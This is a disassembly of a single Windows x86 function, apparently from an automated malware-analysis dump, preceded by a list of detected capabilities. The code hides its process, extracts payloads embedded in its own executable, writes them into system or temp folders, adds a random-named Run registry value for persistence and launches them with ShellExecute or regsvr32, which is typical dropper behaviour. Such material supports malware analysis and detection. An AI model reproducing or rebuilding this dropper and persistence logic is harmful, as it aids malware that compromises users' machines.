Function at 0x40134a
Capabilities:
Create process on windows
Get common file path
Persist via run registry key
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x754
push ebx
push esi
push edi
push str.kernel32.dll
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
or esi, esi
je 0x401381
push str.RegisterServiceProcess
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov ebx, eax
or ebx, ebx
je 0x401381
call sub.KERNEL32.DLL_GetCurrentProcessId
push 1
push eax
call ebx
lea eax, [ebp - 0x53f]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
or eax, eax
jne 0x4013a9
push 0x403078
lea eax, [ebp - 0x53f]
push eax
call fcn.00401a4c
jmp 0x4013da
lea ecx, [ebp - 0x53f]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4013b2
sub eax, 1
cmp byte [ebp + eax - 0x53f], 0x5c
je 0x4013da
push 0x403078
lea eax, [ebp - 0x53f]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x337]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
or eax, eax
jne 0x401402
push 0x403078
lea eax, [ebp - 0x337]
push eax
call fcn.00401a4c
jmp 0x401433
lea ecx, [ebp - 0x337]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40140b
sub eax, 1
cmp byte [ebp + eax - 0x337], 0x5c
je 0x401433
push 0x403078
lea eax, [ebp - 0x337]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x43b]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
or eax, eax
jne 0x40145b
push 0x403078
lea eax, [ebp - 0x43b]
push eax
call fcn.00401a4c
jmp 0x40148c
lea ecx, [ebp - 0x43b]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401464
sub eax, 1
cmp byte [ebp + eax - 0x43b], 0x5c
je 0x40148c
push 0x403078
lea eax, [ebp - 0x43b]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 3
lea eax, [ebp - 0x337]
push eax
lea eax, [ebp - 0x74c]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x104
lea eax, [ebp - 0x648]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
or eax, eax
je 0x4019d2
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x648]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4014e8
xor eax, eax
jmp 0x4019d2
push 0
push 0
push 0x1c20
push ebx
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x401509
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4019d2
push 0
lea eax, [ebp - 8]
push eax
push 4
push section..bss
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x40152d
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4019d2
push 0
push 0
push dword [section..bss]
push ebx
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x40154f
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4019d2
push 0
lea eax, [ebp - 8]
push eax
push 4
push 0x402144
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x401573
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
jmp 0x4019d2
mov dword [ebp - 0x10], 0
jmp 0x4019bc
mov ecx, 9
xor eax, eax
mov edi, 0x402010
rep stosd dword es:[edi], eax
mov ecx, 0x41
xor eax, eax
mov edi, 0x402040
rep stosd dword es:[edi], eax
mov ecx, 0x41
xor eax, eax
mov edi, 0x402150
rep stosd dword es:[edi], eax
push 0
lea eax, [ebp - 8]
push eax
push 0x24
push 0x402010
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x4019ca
push 0
lea eax, [ebp - 8]
push eax
push dword [0x40202c]
push 0x402040
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x4019ca
cmp dword [0x402030], 0
jle 0x40160c
push 0
lea eax, [ebp - 8]
push eax
push dword [0x402030]
push 0x402150
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
jne 0x40161b
jmp 0x4019ca
push 0x403077
push 0x402150
call fcn.00401a4c
push 1
push 0
push 0
push ebx
call sub.KERNEL32.DLL_SetFilePointer
mov dword [ebp - 0x11c], eax
cmp eax, 0xffffffff
je 0x4019ca
mov dword [ebp - 4], 0
cmp dword [0x402024], 0
je 0x4016f0
push dword [0x402024]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x228], eax
xor edx, edx
cmp eax, edx
sete dl
mov dword [ebp - 4], edx
or edx, edx
jne 0x40174d
push 0
push 0
push dword [0x402010]
push ebx
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
je 0x4019ca
push 0
lea eax, [ebp - 8]
push eax
push dword [0x402024]
push dword [ebp - 0x228]
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x4019ca
push dword [0x402028]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0xc], eax
xor edx, edx
cmp eax, edx
sete dl
mov dword [ebp - 4], edx
or edx, edx
jne 0x4016e2
push 0x402028
push eax
push dword [0x402024]
push dword [ebp - 0x228]
call fcn.00401260
add esp, 0x10
push dword [ebp - 0x228]
call sub.CRTDLL.DLL_free
pop ecx
jmp 0x40174d
push dword [0x402028]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0xc], eax
xor edx, edx
cmp eax, edx
sete dl
mov dword [ebp - 4], edx
or edx, edx
jne 0x40174d
xor ecx, ecx
inc ecx
xor edi, edi
xchg edi, eax
rep stosd dword es:[edi], eax
push 0
push 0
push dword [0x402010]
push ebx
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
je 0x4019ca
push 0
lea eax, [ebp - 8]
push eax
push dword [0x402028]
push dword [ebp - 0xc]
push ebx
call sub.KERNEL32.DLL_ReadFile
or eax, eax
je 0x4019ca
cmp dword [ebp - 4], 0
jne 0x401999
cmp dword [0x402018], 0
jne 0x401775
lea eax, [ebp - 0x337]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00401a4c
jmp 0x4017c4
cmp dword [0x402018], 1
jne 0x401793
lea eax, [ebp - 0x43b]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00401a4c
jmp 0x4017c4
cmp dword [0x402018], 2
jne 0x4017b1
lea eax, [ebp - 0x53f]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00401a4c
jmp 0x4017c4
lea eax, [ebp - 0x74c]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00401a4c
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00401a4c
push 0x402040
lea eax, [ebp - 0x114]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x114]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x120], eax
cmp eax, 0xffffffff
je 0x401965
cmp dword [0x40201c], 2
jne 0x40185f
push 0x403073
push 0x402150
call fcn.00401a4c
lea eax, [ebp - 0x114]
push eax
push 0x402150
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.regsvr32.exe
lea eax, [ebp - 0x114]
push eax
call fcn.00401a4c
mov dword [0x402014], 0
push 0
lea eax, [ebp - 8]
push eax
push dword [0x402028]
push dword [ebp - 0xc]
push dword [ebp - 0x120]
call sub.KERNEL32.DLL_WriteFile
or eax, eax
je 0x4019ca
cmp dword [0x402020], 1
jne 0x40195a
lea eax, [ebp - 0x544]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
or eax, eax
jne 0x40195a
lea eax, [ebp - 0x750]
push eax
call sub.CRTDLL.DLL_time
add esp, 4
push eax
call sub.CRTDLL.DLL_srand
add esp, 4
push 0x403077
lea eax, [ebp - 0x233]
push eax
call fcn.00401a4c
mov dword [ebp - 0x118], 0
xor esi, esi
call sub.CRTDLL.DLL_rand
mov ecx, 0x5a
cdq
idiv ecx
mov esi, edx
cmp edx, 0x41
jl 0x4018e8
mov eax, dword [ebp - 0x118]
mov edx, esi
mov byte [ebp + eax - 0x233], dl
inc dword [ebp - 0x118]
cmp dword [ebp - 0x118], 0xa
jl 0x4018e6
mov byte [ebp - 0x229], 0
lea ecx, [ebp - 0x114]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40192a
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push 0
lea eax, [ebp - 0x233]
push eax
push dword [ebp - 0x544]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x544]
call sub.ADVAPI32.DLL_RegCloseKey
push dword [ebp - 0x120]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [0x40201c], 0
je 0x401977
cmp dword [0x40201c], 2
jne 0x401999
push dword [0x402014]
lea eax, [ebp - 0x224]
push eax
push 0x402150
lea eax, [ebp - 0x114]
push eax
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_free
add esp, 4
push 0
push 0
push dword [ebp - 0x11c]
push ebx
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
je 0x4019ca
inc dword [ebp - 0x10]
mov eax, dword [0x402144]
cmp dword [ebp - 0x10], eax
jl 0x40157f
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10